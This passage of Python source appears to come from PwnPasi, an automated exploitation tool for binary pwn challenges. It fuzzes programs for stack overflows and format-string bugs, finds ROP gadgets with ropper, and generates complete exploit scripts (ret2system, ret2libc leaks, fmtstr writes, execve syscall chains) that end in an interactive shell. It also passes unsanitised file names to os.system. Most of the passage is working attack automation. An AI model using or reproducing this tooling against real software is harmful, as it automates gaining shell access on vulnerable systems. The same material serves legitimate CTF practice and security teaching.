{repr(addr_value)}\n" 219 | base_code += "\n" 220 | 221 | # Add payload construction based on exploit type 222 | exploit_type = exploit_info['exploit_type'].lower() 223 | 224 | if 'ret2system' in exploit_type: 225 | if 'x64' in exploit_type: 226 | base_code += f"""# Construct payload for ret2system x64 227 | padding = b'A' * {exploit_info['padding']} 228 | payload = padding 229 | payload += p64(pop_rdi_addr) # pop rdi; ret 230 | payload += p64(bin_sh_addr) # "/bin/sh" address 231 | payload += p64(ret_addr) # ret gadget for stack alignment 232 | payload += p64(system_addr) # system() address 233 | """ 234 | else: 235 | base_code += f"""# Construct payload for ret2system x32 236 | padding = b'A' * {exploit_info['padding']} 237 | payload = padding 238 | payload += p32(system_addr) # system() address 239 | payload += p32(0x0) # return address (dummy) 240 | payload += p32(bin_sh_addr) # "/bin/sh" address 241 | """ 242 | 243 | elif 'ret2libc' in exploit_type and 'write' in exploit_type: 244 | if 'x64' in exploit_type: 245 | base_code += f"""# Construct payload for ret2libc write x64 246 | padding = b'A' * {exploit_info['padding']} 247 | payload = padding 248 | payload += p64(pop_rdi_addr) # pop rdi; ret 249 | payload += p64(1) # stdout fd 250 | payload += p64(pop_rsi_addr) # pop rsi; ret 251 | payload += p64(write_got) # write@got address 252 | payload += p64(ret_addr) # ret gadget 253 | payload += p64(write_plt) # write@plt 254 | payload += p64(main_addr) # return to main for second stage 255 | """ 256 | else: 257 | base_code += f"""# Construct payload for ret2libc write x32 258 | padding = b'A' * {exploit_info['padding']} 259 | payload = padding 260 | payload += p32(write_plt) # write@plt 261 | payload += p32(main_addr) # return to main 262 | payload += p32(1) # stdout fd 263 | payload += p32(write_got) # write@got address 264 | payload += p32(4) # bytes to write 265 | """ 266 | 267 | elif 'format string' in exploit_type: 268 | base_code += f"""# Format string exploitation 269 | offset = {exploit_info.get('offset', 'OFFSET_VALUE')} 270 | buf_addr = {exploit_info['addresses'].get('buf_addr', 'BUF_ADDRESS')} 271 | system_addr = {exploit_info['addresses'].get('system_addr', 'SYSTEM_ADDRESS')} 272 | 273 | # Construct format string payload 274 | payload = fmtstr_payload(offset, {{buf_addr: system_addr}}) 275 | """ 276 | 277 | elif 'execve syscall' in exploit_type: 278 | base_code += f"""# Construct payload for execve syscall 279 | padding = b'A' * {exploit_info['padding']} 280 | payload = padding 281 | payload += p32(pop_eax_addr) # pop eax; ret 282 | payload += p32(0xb) # execve syscall number 283 | payload += p32(pop_ebx_addr) # pop ebx; ret 284 | payload += p32(bin_sh_addr) # "/bin/sh" address 285 | payload += p32(pop_ecx_addr) # pop ecx; ret 286 | payload += p32(0x0) # argv = NULL 287 | payload += p32(pop_edx_addr) # pop edx; ret 288 | payload += p32(0x0) # envp = NULL 289 | payload += p32(int_0x80) # int 0x80 290 | """ 291 | 292 | else: 293 | # Generic payload construction 294 | base_code += f"""# Construct payload 295 | padding = b'A' * {exploit_info['padding']} 296 | payload = padding 297 | payload += {repr(exploit_info['payload']) if isinstance(exploit_info['payload'], bytes) else repr(str(exploit_info['payload']))} 298 | """ 299 | 300 | # Add exploitation execution 301 | base_code += f""" 302 | # Send payload 303 | io.sendline(payload) 304 | 305 | # Get shell 306 | io.interactive() 307 | """ 308 | 309 | return base_code 310 | 311 | def generate_docx_report(): 312 | """Generate DOCX exploitation report""" 313 | global exploit_info 314 | 315 | if not exploit_info['success']: 316 | return 317 | 318 | try: 319 | # Extract target binary name without path and extension 320 | target_name = os.path.basename(exploit_info['target_binary']) 321 | if target_name.startswith('./'): 322 | target_name = target_name[2:] 323 | target_name = os.path.splitext(target_name)[0] 324 | 325 | # Generate report filename 326 | report_filename = f"{target_name}_wp.docx" 327 | 328 | # Create document 329 | doc = Document() 330 | 331 | # Add title 332 | title = doc.add_heading('PWN Exploitation Report', 0) 333 | title.alignment = WD_ALIGN_PARAGRAPH.CENTER 334 | 335 | # Add basic information 336 | doc.add_heading('Basic Information', level=1) 337 | basic_info = doc.add_paragraph() 338 | basic_info.add_run('Target Binary: ').bold = True 339 | basic_info.add_run(f"{exploit_info['target_binary']}\n") 340 | basic_info.add_run('Exploitation Time: ').bold = True 341 | basic_info.add_run(f"{exploit_info['timestamp']}\n") 342 | basic_info.add_run('Architecture: ').bold = True 343 | basic_info.add_run(f"{exploit_info['architecture']}\n") 344 | basic_info.add_run('Vulnerability Type: ').bold = True 345 | basic_info.add_run(f"{exploit_info['vulnerability_type']}\n") 346 | basic_info.add_run('Exploitation Method: ').bold = True 347 | basic_info.add_run(f"{exploit_info['exploit_type']}\n") 348 | 349 | # Add padding information 350 | doc.add_heading('Buffer Overflow Information', level=1) 351 | padding_info = doc.add_paragraph() 352 | padding_info.add_run('Buffer Overflow Padding: ').bold = True 353 | padding_info.add_run(f"{exploit_info['padding']} bytes\n") 354 | 355 | # Add addresses information 356 | if exploit_info['addresses']: 357 | doc.add_heading('Key Address Information', level=1) 358 | addr_table = doc.add_table(rows=1, cols=2) 359 | addr_table.style = 'Table Grid' 360 | hdr_cells = addr_table.rows[0].cells 361 | hdr_cells[0].text = 'Address Type' 362 | hdr_cells[1].text = 'Address Value' 363 | 364 | for addr_type, addr_value in exploit_info['addresses'].items(): 365 | row_cells = addr_table.add_row().cells 366 | row_cells[0].text = addr_type 367 | # Convert address to hexadecimal format 368 | if isinstance(addr_value, int): 369 | row_cells[1].text = f"0x{addr_value:x}" 370 | elif isinstance(addr_value, str) and addr_value.isdigit(): 371 | row_cells[1].text = f"0x{int(addr_value):x}" 372 | elif isinstance(addr_value, str) and addr_value.startswith('0x'): 373 | row_cells[1].text = addr_value 374 | else: 375 | # Try to convert string representation of number to hex 376 | try: 377 | if 'x' in str(addr_value): 378 | row_cells[1].text = str(addr_value) 379 | else: 380 | row_cells[1].text = f"0x{int(str(addr_value)):x}" 381 | except: 382 | row_cells[1].text = str(addr_value) 383 | 384 | # Add exploitation code information 385 | if exploit_info['payload']: 386 | doc.add_heading('Exploitation Code', level=1) 387 | payload_para = doc.add_paragraph() 388 | payload_para.add_run('Complete Python Exploitation Code:\n').bold = True 389 | 390 | # Generate complete exploitation code based on exploit type 391 | exploitation_code = generate_exploitation_code() 392 | 393 | # Add the exploitation code as code block 394 | payload_para.add_run(f"{exploitation_code}\n") 395 | 396 | # Add payload length 397 | payload_para.add_run('Payload Length: ').bold = True 398 | if isinstance(exploit_info['payload'], bytes): 399 | payload_para.add_run(f"{len(exploit_info['payload'])} bytes\n") 400 | else: 401 | payload_para.add_run(f"{len(str(exploit_info['payload']))} characters\n") 402 | 403 | # Add exploitation summary 404 | doc.add_heading('Exploitation Summary', level=1) 405 | summary_para = doc.add_paragraph() 406 | summary_para.add_run('Exploitation Status: ').bold = True 407 | summary_para.add_run('Successful\n') 408 | summary_para.add_run('Exploitation Method: ').bold = True 409 | summary_para.add_run(f"Successfully gained shell access through {exploit_info['vulnerability_type']} vulnerability using {exploit_info['exploit_type']} technique.\n") 410 | 411 | # Add footer 412 | doc.add_paragraph('\n' + '─' * 50) 413 | footer_para = doc.add_paragraph() 414 | footer_para.add_run('Report Generation Tool: ').bold = True 415 | footer_para.add_run(f"PwnPasi v{VERSION}\n") 416 | footer_para.add_run('Generation Time: ').bold = True 417 | footer_para.add_run(f"{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") 418 | 419 | # Save document 420 | doc.save(report_filename) 421 | print_success(f"Exploitation report generated: {Colors.YELLOW}{report_filename}{Colors.END}") 422 | 423 | except Exception as e: 424 | print_error(f"Failed to generate report: {e}") 425 | 426 | def handle_exploitation_success(exploit_type, payload, padding, addresses, vulnerability_type, architecture): 427 | """Handle successful exploitation by updating info and generating report""" 428 | update_exploit_info('exploit_type', exploit_type) 429 | update_exploit_info('payload', payload.hex() if hasattr(payload, 'hex') else str(payload)) 430 | update_exploit_info('padding', padding) 431 | update_exploit_info('addresses', addresses) 432 | update_exploit_info('vulnerability_type', vulnerability_type) 433 | update_exploit_info('architecture', architecture) 434 | update_exploit_info('success', True) 435 | 436 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 437 | 438 | # Generate DOCX report 439 | generate_docx_report() 440 | 441 | def set_permission(program): 442 | """Set executable permissions for the program""" 443 | try: 444 | os.system(f"chmod +755 {program}") 445 | return True 446 | except Exception as e: 447 | print_error(f"Failed to set permissions: {e}") 448 | return False 449 | 450 | def add_current_directory_prefix(program): 451 | """Add ./ prefix if not present""" 452 | if not program.startswith('./'): 453 | program = os.path.join('.', program) 454 | return program 455 | 456 | def detect_libc(program): 457 | """Detect libc path automatically""" 458 | print_info("detecting libc path automatically") 459 | libc_path = None 460 | 461 | try: 462 | os.system(f"ldd {program} | awk '{{$1=$1; print}}' > libc_path.txt") 463 | 464 | with open("libc_path.txt", "r") as file: 465 | for line in file: 466 | if 'libc.so.6' in line: 467 | parts = line.split('=>') 468 | if len(parts) > 1: 469 | libc_path = parts[1].strip().split()[0] 470 | print_success(f"libc path detected: {Colors.YELLOW}{libc_path}{Colors.END}") 471 | break 472 | 473 | if not libc_path: 474 | print_warning("libc path not found in ldd output") 475 | 476 | except Exception as e: 477 | print_error(f"failed to detect libc: {e}") 478 | 479 | return libc_path 480 | 481 | def ldd_libc(program): 482 | """Automatically detect libc path using ldd command""" 483 | libc_path = None 484 | 485 | try: 486 | # Use ldd to get library information 487 | result = subprocess.run(['ldd', program], capture_output=True, text=True) 488 | if result.returncode == 0: 489 | for line in result.stdout.split('\n'): 490 | if 'libc.so.6' in line: 491 | parts = line.split('=>') 492 | if len(parts) > 1: 493 | libc_path = parts[1].strip().split()[0] 494 | print_info(f"automatically detected libc: {Colors.YELLOW}{libc_path}{Colors.END}") 495 | break 496 | 497 | if not libc_path: 498 | print_warning("libc path not found automatically") 499 | 500 | except Exception as e: 501 | print_error(f"failed to detect libc: {e}") 502 | 503 | return libc_path 504 | 505 | def Information_Collection(program): 506 | """Collect binary information using checksec""" 507 | try: 508 | # Run checksec command 509 | result = subprocess.run(['checksec', program], capture_output=True, text=True) 510 | content = result.stdout 511 | 512 | info_dict = {} 513 | 514 | # Parse architecture 515 | arch_match = re.search(r"Arch:\s+(\S+)", content) 516 | if arch_match: 517 | arch = arch_match.group(1) 518 | if '64' in arch: 519 | info_dict['bit'] = 64 520 | bit = 64 521 | elif '32' in arch: 522 | info_dict['bit'] = 32 523 | bit = 32 524 | 525 | # Parse security features 526 | keys = ['RELRO', 'Stack', 'NX', 'PIE', 'Stripped', 'RWX'] 527 | for key in keys: 528 | if key in content: 529 | for line in content.split('\n'): 530 | if key in line and ':' in line: 531 | info_dict[key] = line.split(":")[1].strip() 532 | break 533 | 534 | # Determine stack protection 535 | stack = 0 536 | if 'Stack' in info_dict: 537 | if info_dict['Stack'] == 'No canary found': 538 | stack = 0 539 | elif info_dict['Stack'] == 'Canary found': 540 | stack = 1 541 | elif info_dict['Stack'] == 'Executable': 542 | stack = 2 543 | 544 | # Determine RWX segments 545 | rwx = 0 546 | if 'RWX' in info_dict: 547 | if info_dict['RWX'] == 'Has RWX segments': 548 | rwx = 1 549 | 550 | # Determine PIE 551 | pie = None 552 | if 'PIE' in info_dict: 553 | if info_dict['PIE'] == 'PIE enabled': 554 | pie = 1 555 | 556 | # Display information 557 | for key, value in info_dict.items(): 558 | print_info(f"{key}: {Colors.YELLOW}{value}{Colors.END}") 559 | 560 | return stack, rwx, bit, pie 561 | 562 | except Exception as e: 563 | print_error(f"failed to collect binary information: {e}") 564 | return 0, 0, 32, None 565 | 566 | def collect_binary_info(program): 567 | """Collect comprehensive binary information""" 568 | print_info("collecting binary information") 569 | 570 | try: 571 | os.system(f"checksec {program} > Information_Collection.txt 2>&1") 572 | 573 | with open("Information_Collection.txt", 'r') as f: 574 | content = f.readlines() 575 | 576 | result = {} 577 | 578 | # Parse architecture 579 | arch_match = re.search(r"Arch:\s+(\S+)", "".join(content)) 580 | if arch_match: 581 | arch = arch_match.group(1) 582 | result['arch'] = arch 583 | if '64' in arch: 584 | result['bit'] = 64 585 | elif '32' in arch: 586 | result['bit'] = 32 587 | 588 | # Parse security features 589 | security_features = ['RELRO', 'Stack', 'NX', 'PIE', 'Stripped', 'RWX'] 590 | for feature in security_features: 591 | for line in content: 592 | if feature in line: 593 | result[feature] = line.split(":")[1].strip() 594 | break 595 | 596 | # Process stack canary 597 | stack_protection = 0 598 | if 'Stack' in result: 599 | if result['Stack'] == 'No canary found': 600 | stack_protection = 0 601 | elif result['Stack'] == 'Canary found': 602 | stack_protection = 1 603 | 604 | # Process RWX segments 605 | rwx_segments = 0 606 | if 'RWX' in result: 607 | if result['RWX'] == 'Has RWX segments': 608 | rwx_segments = 1 609 | 610 | # Process PIE 611 | pie_enabled = 0 612 | if 'PIE' in result: 613 | if result['PIE'] == 'PIE enabled': 614 | pie_enabled = 1 615 | 616 | return result, stack_protection, rwx_segments, result.get('bit', 64), pie_enabled 617 | 618 | except Exception as e: 619 | print_error(f"failed to collect binary information: {e}") 620 | return {}, 0, 0, 64, 0 621 | 622 | def display_binary_info(info_dict): 623 | """Display binary information in a professional table format""" 624 | print_section_header("BINARY SECURITY ANALYSIS") 625 | 626 | # Create table for security features 627 | headers = ["Feature", "Status", "Risk Level"] 628 | print_table_header(headers) 629 | 630 | risk_colors = { 631 | "HIGH": Colors.ERROR, 632 | "MEDIUM": Colors.WARNING, 633 | "LOW": Colors.SUCCESS, 634 | "INFO": Colors.INFO 635 | } 636 | 637 | security_analysis = { 638 | "RELRO": ("MEDIUM" if "Partial" in info_dict.get("RELRO", "") else "LOW", info_dict.get("RELRO", "Unknown")), 639 | "Stack Canary": ("HIGH" if "No canary" in info_dict.get("Stack", "") else "LOW", info_dict.get("Stack", "Unknown")), 640 | "NX Bit": ("HIGH" if "disabled" in info_dict.get("NX", "") else "LOW", info_dict.get("NX", "Unknown")), 641 | "PIE": ("MEDIUM" if "No PIE" in info_dict.get("PIE", "") else "LOW", info_dict.get("PIE", "Unknown")), 642 | "RWX Segments": ("HIGH" if "Has RWX" in info_dict.get("RWX", "") else "LOW", info_dict.get("RWX", "Unknown")) 643 | } 644 | 645 | for feature, (risk, status) in security_analysis.items(): 646 | colors = [Colors.END, Colors.END, risk_colors.get(risk, Colors.END)] 647 | print_table_row([feature, status, risk], colors) 648 | 649 | print() 650 | 651 | def find_large_bss_symbols(program): 652 | """Find large BSS symbols suitable for shellcode storage""" 653 | print_info("searching for shellcode storage locations") 654 | 655 | try: 656 | with open(program, 'rb') as f: 657 | elf = ELFFile(f) 658 | symtab = elf.get_section_by_name('.symtab') 659 | 660 | if not symtab: 661 | print_warning("no symbol table found") 662 | return 0, None, None 663 | 664 | for symbol in symtab.iter_symbols(): 665 | if (symbol['st_info'].type == 'STT_OBJECT' and symbol['st_size'] > 30): 666 | print_success(f"shellcode storage found: {Colors.YELLOW}{symbol.name}{Colors.END} at {Colors.YELLOW}{hex(symbol['st_value'])}{Colors.END}") 667 | return 1, hex(symbol['st_value']), symbol.name 668 | 669 | print_warning("no suitable shellcode storage locations found") 670 | return 0, None, None 671 | 672 | except Exception as e: 673 | print_error(f"failed to analyze symbols: {e}") 674 | return 0, None, None 675 | 676 | def scan_plt_functions(program): 677 | """Scan and analyze PLT functions""" 678 | print_info("analyzing PLT table and available functions") 679 | 680 | try: 681 | os.system(f"objdump -d {program} > Objdump_Scan.txt 2>&1") 682 | target_functions = ["write", "puts", "printf", "main", "system", "backdoor", "callsystem"] 683 | function_addresses = {} 684 | found_functions = [] 685 | 686 | with open("Objdump_Scan.txt", "r") as file: 687 | lines = file.readlines() 688 | 689 | print_section_header("FUNCTION ANALYSIS") 690 | headers = ["Function", "Address", "Available"] 691 | print_table_header(headers) 692 | 693 | for func in target_functions: 694 | found = False 695 | address = "N/A" 696 | 697 | for line in lines: 698 | if f"<{func}@plt>:" in line or f"<{func}>:" in line: 699 | address = line.split()[0].strip(":") 700 | function_addresses[func] = address 701 | found_functions.append(func) 702 | found = True 703 | break 704 | 705 | status = "YES" if found else "NO" 706 | color = Colors.SUCCESS if found else Colors.ERROR 707 | colors = [Colors.END, Colors.YELLOW if found else Colors.END, color] 708 | print_table_row([func, address, status], colors) 709 | 710 | print_info("") 711 | return function_addresses 712 | 713 | except Exception as e: 714 | print_error(f"failed to scan PLT functions: {e}") 715 | return {} 716 | 717 | def set_function_flags(function_addresses): 718 | """Set function availability flags""" 719 | target_functions = ["write", "puts", "printf", "main", "system", "backdoor", "callsystem"] 720 | function_flags = {func: (1 if func in function_addresses else 0) for func in target_functions} 721 | return function_flags 722 | 723 | def find_rop_gadgets_x64(program): 724 | """Find ROP gadgets for x64 architecture""" 725 | print_info("searching for ROP gadgets (x64)") 726 | 727 | gadgets = { 728 | 'pop_rdi': None, 729 | 'pop_rsi': None, 730 | 'ret': None, 731 | 'other_rdi_registers': None, 732 | 'other_rsi_registers': None 733 | } 734 | 735 | try: 736 | # Search for pop rdi gadgets 737 | os.system(f"ropper --file {program} --search 'pop rdi' > ropper.txt --nocolor 2>&1") 738 | os.system(f"ropper --file {program} --search 'pop rsi' >> ropper.txt --nocolor 2>&1") 739 | os.system(f"ropper --file {program} --search 'ret' >> ropper.txt --nocolor 2>&1") 740 | 741 | with open("ropper.txt", "r") as file: 742 | lines = file.readlines() 743 | 744 | print_section_header("ROP GADGETS (x64)") 745 | headers = ["Gadget Type", "Address", "Instruction"] 746 | print_table_header(headers) 747 | 748 | for line in lines: 749 | if '[INFO]' in line: 750 | continue 751 | 752 | if "pop rdi;" in line and "pop rdi; pop" in line: 753 | gadgets['pop_rdi'] = line.split(":")[0].strip() 754 | gadgets['other_rdi_registers'] = 1 755 | print_table_row(["pop rdi (multi)", gadgets['pop_rdi'], "pop rdi; pop ...; ret"], [Colors.END, Colors.YELLOW, Colors.END]) 756 | 757 | elif "pop rdi; ret;" in line: 758 | gadgets['pop_rdi'] = line.split(":")[0].strip() 759 | gadgets['other_rdi_registers'] = 0 760 | print_table_row(["pop rdi", gadgets['pop_rdi'], "pop rdi; ret"], [Colors.END, Colors.YELLOW, Colors.END]) 761 | 762 | elif "pop rsi;" in line and "pop rsi; pop" in line: 763 | gadgets['pop_rsi'] = line.split(":")[0].strip() 764 | gadgets['other_rsi_registers'] = 1 765 | print_table_row(["pop rsi (multi)", gadgets['pop_rsi'], "pop rsi; pop ...; ret"], [Colors.END, Colors.YELLOW, Colors.END]) 766 | 767 | elif "pop rsi; ret;" in line: 768 | gadgets['pop_rsi'] = line.split(":")[0].strip() 769 | gadgets['other_rsi_registers'] = 0 770 | print_table_row(["pop rsi", gadgets['pop_rsi'], "pop rsi; ret"], [Colors.END, Colors.YELLOW, Colors.END]) 771 | 772 | elif "ret" in line and "ret " not in line: 773 | gadgets['ret'] = line.split(":")[0].strip() 774 | print_table_row(["ret", gadgets['ret'], "ret"], [Colors.END, Colors.YELLOW, Colors.END]) 775 | 776 | print_info("") 777 | return gadgets['pop_rdi'], gadgets['pop_rsi'], gadgets['ret'], gadgets['other_rdi_registers'], gadgets['other_rsi_registers'] 778 | 779 | except Exception as e: 780 | print_error(f"failed to find ROP gadgets: {e}") 781 | return None, None, None, None, None 782 | 783 | def find_rop_gadgets_x32(program): 784 | """Find ROP gadgets for x32 architecture""" 785 | print_info("searching for ROP gadgets (x32)") 786 | 787 | gadgets = { 788 | 'pop_eax': None, 'pop_ebx': None, 'pop_ecx': None, 'pop_edx': None, 789 | 'pop_ecx_ebx': None, 'ret': None, 'int_0x80': None 790 | } 791 | 792 | registers_found = {'eax': 0, 'ebx': 0, 'ecx': 0, 'edx': 0} 793 | 794 | try: 795 | print_section_header("ROP GADGETS (x32)") 796 | headers = ["Gadget Type", "Address", "Status"] 797 | print_table_header(headers) 798 | 799 | # Search for each register gadget 800 | register_searches = ['eax', 'ebx', 'ecx', 'edx'] 801 | 802 | for reg in register_searches: 803 | os.system(f"ropper --file {program} --search 'pop {reg};' > ropper.txt --nocolor 2>&1") 804 | 805 | with open("ropper.txt", "r") as file: 806 | lines = file.readlines() 807 | 808 | for line in lines: 809 | if '[INFO]' in line: 810 | continue 811 | 812 | if f"pop {reg}; ret;" in line: 813 | address = line.split(":")[0].strip() 814 | gadgets[f'pop_{reg}'] = address 815 | registers_found[reg] = 1 816 | print_table_row([f"pop {reg}", address, "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS]) 817 | break 818 | elif f"pop {reg}" in line and 'pop ebx' in line and reg == 'ecx': 819 | address = line.split(":")[0].strip() 820 | gadgets['pop_ecx_ebx'] = address 821 | registers_found[reg] = 1 822 | print_table_row(["pop ecx; pop ebx", address, "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS]) 823 | break 824 | 825 | if registers_found[reg] == 0: 826 | print_table_row([f"pop {reg}", "N/A", "NOT FOUND"], [Colors.END, Colors.END, Colors.ERROR]) 827 | 828 | # Search for ret and int 0x80 829 | os.system(f"ropper --file {program} --search 'ret;' > ropper.txt --nocolor 2>&1") 830 | with open("ropper.txt", "r") as file: 831 | for line in file.readlines(): 832 | if '[INFO]' in line: 833 | continue 834 | if "ret" in line and "ret " not in line: 835 | gadgets['ret'] = line.split(":")[0].strip() 836 | print_table_row(["ret", gadgets['ret'], "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS]) 837 | break 838 | 839 | os.system(f"ropper --file {program} --search 'int 0x80;' > ropper.txt --nocolor 2>&1") 840 | with open("ropper.txt", "r") as file: 841 | for line in file.readlines(): 842 | if '[INFO]' in line: 843 | continue 844 | if "int 0x80" in line: 845 | gadgets['int_0x80'] = line.split(":")[0].strip() 846 | print_table_row(["int 0x80", gadgets['int_0x80'], "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS]) 847 | break 848 | 849 | print_info("") 850 | return (gadgets['pop_eax'], gadgets['pop_ebx'], gadgets['pop_ecx'], gadgets['pop_edx'], 851 | gadgets['pop_ecx_ebx'], gadgets['ret'], gadgets['int_0x80'], 852 | registers_found['eax'], registers_found['ebx'], registers_found['ecx'], registers_found['edx']) 853 | 854 | except Exception as e: 855 | print_error(f"failed to find ROP gadgets: {e}") 856 | return None, None, None, None, None, None, None, 0, 0, 0, 0 857 | 858 | def test_stack_overflow(program, bit): 859 | """Test for stack overflow vulnerability with progress indication""" 860 | print_info("testing for stack overflow vulnerability") 861 | 862 | char = 'A' 863 | padding = 0 864 | max_test = 10000 865 | 866 | print_section_header("STACK OVERFLOW DETECTION") 867 | 868 | while padding < max_test: 869 | # Update progress every 100 iterations 870 | if padding % 100 == 0: 871 | print_progress(padding, max_test, "Testing overflow") 872 | 873 | input_data = char * (padding + 1) 874 | 875 | try: 876 | process = subprocess.Popen([program], stdin=subprocess.PIPE, 877 | stdout=subprocess.PIPE, stderr=subprocess.PIPE) 878 | stdout, stderr = process.communicate(input=input_data.encode(), timeout=1) 879 | 880 | if process.returncode == -11: # SIGSEGV 881 | alignment = 8 if bit == 64 else 4 882 | final_padding = padding + alignment 883 | print_progress(max_test, max_test, "Testing overflow") 884 | print_success(f"stack overflow detected! Padding: {Colors.YELLOW}{final_padding}{Colors.END} bytes") 885 | return final_padding 886 | 887 | except subprocess.TimeoutExpired: 888 | process.kill() 889 | except Exception: 890 | pass 891 | 892 | padding += 1 893 | 894 | print_progress(max_test, max_test, "Testing overflow") 895 | print_warning("no stack overflow vulnerability detected") 896 | return 0 897 | 898 | def analyze_vulnerable_functions(program, bit): 899 | """Analyze assembly code to find vulnerable functions""" 900 | print_info("analyzing vulnerable functions") 901 | 902 | try: 903 | with open("Objdump_Scan.txt", 'r') as f: 904 | content = f.read() 905 | 906 | func_pattern = r'^[0-9a-f]+ <(\w+)>:(.*?)(?=^\d+ <\w+>:|\Z)' 907 | functions = re.finditer(func_pattern, content, re.MULTILINE | re.DOTALL) 908 | 909 | vulnerable_functions = [] 910 | 911 | for func in functions: 912 | func_name = func.group(1) 913 | func_body = func.group(2) 914 | 915 | # Check for dangerous function calls with lea instruction 916 | dangerous_calls = ['read', 'gets', 'fgets', 'scanf'] 917 | has_lea = 'lea' in func_body 918 | has_dangerous_call = any(call in func_body for call in dangerous_calls) 919 | 920 | if has_lea and has_dangerous_call: 921 | lea_match = re.search(r'lea\s+(-?0x[0-9a-f]+)\(%[er]bp\)', func_body) 922 | if lea_match: 923 | offset_hex = lea_match.group(1) 924 | offset_dec = abs(int(offset_hex, 16)) 925 | alignment = 8 if bit == 64 else 4 926 | padding = offset_dec + alignment 927 | 928 | vulnerable_functions.append({ 929 | 'name': func_name, 930 | 'stack_size': offset_dec, 931 | 'padding': padding 932 | }) 933 | 934 | if vulnerable_functions: 935 | print_section_header("VULNERABLE FUNCTIONS") 936 | headers = ["Function", "Stack Size", "Padding"] 937 | print_table_header(headers) 938 | 939 | for func in vulnerable_functions: 940 | colors = [Colors.YELLOW, Colors.END, Colors.SUCCESS] 941 | print_table_row([func['name'], f"{func['stack_size']} bytes", f"{func['padding']} bytes"], colors) 942 | 943 | print_info("") 944 | return vulnerable_functions[0]['padding'] # Return first found 945 | 946 | return None 947 | 948 | except Exception as e: 949 | print_error(f"failed to analyze vulnerable functions: {e}") 950 | return None 951 | 952 | def vuln_func_name(): 953 | """Find vulnerable function names from objdump scan""" 954 | try: 955 | with open("Objdump_Scan.txt", 'r') as f: 956 | content = f.read() 957 | 958 | functions = re.split(r'\n\n', content.strip()) 959 | 960 | results = [] 961 | for func in functions: 962 | func_name_match = re.search(r'<([^>]+)>', func) 963 | if not func_name_match: 964 | continue 965 | func_name = func_name_match.group(1) 966 | 967 | has_lea = bool(re.search(r'\s+lea\s', func)) 968 | has_call_read = bool(re.search(r'call.*read@plt', func)) 969 | has_call_read += bool(re.search(r'call.*gets@plt', func)) 970 | has_call_read += bool(re.search(r'call.*fgets@plt', func)) 971 | has_call_read += bool(re.search(r'call.*scanf@plt', func)) 972 | 973 | if has_lea and has_call_read: 974 | lea_match = re.search(r'lea\s+-\s*(0x[0-9a-f]+)', func) 975 | if lea_match: 976 | results.append(func_name) 977 | 978 | return results 979 | except Exception as e: 980 | print_error(f"failed to find vulnerable function names: {e}") 981 | return [] 982 | 983 | def asm_stack_overflow(program, bit): 984 | """Assembly-based stack overflow analysis with padding adjustment""" 985 | print_info("performing assembly-based overflow analysis") 986 | 987 | try: 988 | with open("Objdump_Scan.txt", 'r') as f: 989 | content = f.read() 990 | 991 | func_pattern = r'^[0-9a-f]+ <(\w+)>:(.*?)(?=^\d+ <\w+>:|\Z)' 992 | functions = re.finditer(func_pattern, content, re.MULTILINE | re.DOTALL) 993 | 994 | for func in functions: 995 | func_body = func.group(2) 996 | 997 | # Check for vulnerable patterns 998 | dangerous_calls = ['read', 'gets', 'fgets', 'scanf'] 999 | has_lea = 'lea' in func_body 1000 | has_call = 'call' in func_body 1001 | has_dangerous_call = any(call in func_body for call in dangerous_calls) 1002 | 1003 | if has_lea and has_call and has_dangerous_call: 1004 | lea_match = re.search(r'lea\s+(-?0x[0-9a-f]+)\(%[er]bp\)', func_body) 1005 | if lea_match: 1006 | offset_hex = lea_match.group(1) 1007 | offset_dec = abs(int(offset_hex, 16)) 1008 | 1009 | if bit == 64: 1010 | padding = offset_dec + 8 1011 | else: 1012 | padding = offset_dec + 4 1013 | 1014 | print_success(f"stack size: {Colors.YELLOW}{offset_dec}{Colors.END} bytes") 1015 | print_success(f"overflow padding adjustment: {Colors.YELLOW}{padding}{Colors.END} bytes") 1016 | 1017 | return padding 1018 | 1019 | return None 1020 | 1021 | except Exception as e: 1022 | print_error(f"failed to perform assembly analysis: {e}") 1023 | return None 1024 | 1025 | def check_binsh_string(program): 1026 | """Check for /bin/sh string in binary""" 1027 | print_info("checking for /bin/sh string") 1028 | 1029 | try: 1030 | os.system(f'strings {program} | grep "/bin/sh" > check_binsh.txt') 1031 | 1032 | with open('check_binsh.txt', 'r') as file: 1033 | content = file.read() 1034 | 1035 | if '/bin/sh' in content: 1036 | print_success("/bin/sh string found in binary") 1037 | return True 1038 | else: 1039 | print_warning("/bin/sh string not found in binary") 1040 | return False 1041 | 1042 | except Exception as e: 1043 | print_error(f"failed to check for /bin/sh string: {e}") 1044 | return False 1045 | 1046 | def check_binsh(program): 1047 | """Check for /bin/sh string in binary (pwnpasi_base.py compatible)""" 1048 | os.system('strings ' + program +' | grep "/bin/sh" > check_binsh.txt') 1049 | with open('check_binsh.txt', 'r') as file: 1050 | content = file.read() 1051 | 1052 | return '/bin/sh' in content 1053 | 1054 | def detect_format_string_vulnerability(program): 1055 | """Detect format string vulnerabilities""" 1056 | print_info("testing for format string vulnerabilities") 1057 | 1058 | test_cases = [ 1059 | b"%x" * 20, 1060 | b"%p" * 20, 1061 | b"%s" * 20, 1062 | b"%n" * 5, 1063 | b"AAAA%x%x%x%x", 1064 | b"%99999999s", 1065 | ] 1066 | 1067 | memory_pattern = re.compile(r'(0x[0-9a-fA-F]+)') 1068 | vulnerable = False 1069 | 1070 | print_section_header("FORMAT STRING VULNERABILITY TEST") 1071 | headers = ["Test Case", "Result", "Status"] 1072 | print_table_header(headers) 1073 | 1074 | for i, case in enumerate(test_cases): 1075 | try: 1076 | proc = subprocess.Popen( 1077 | [program], 1078 | stdin=subprocess.PIPE, 1079 | stdout=subprocess.PIPE, 1080 | stderr=subprocess.PIPE, 1081 | ) 1082 | stdout, stderr = proc.communicate(input=case, timeout=2) 1083 | 1084 | result = "SAFE" 1085 | color = Colors.SUCCESS 1086 | 1087 | if memory_pattern.search(stdout.decode()): 1088 | result = "VULNERABLE" 1089 | color = Colors.ERROR 1090 | vulnerable = True 1091 | 1092 | if proc.returncode != 0: 1093 | result = "CRASH" 1094 | color = Colors.CRITICAL 1095 | vulnerable = True 1096 | 1097 | case_str = case.decode()[:20] + "..." if len(case) > 20 else case.decode() 1098 | colors = [Colors.END, Colors.END, color] 1099 | print_table_row([case_str, result, 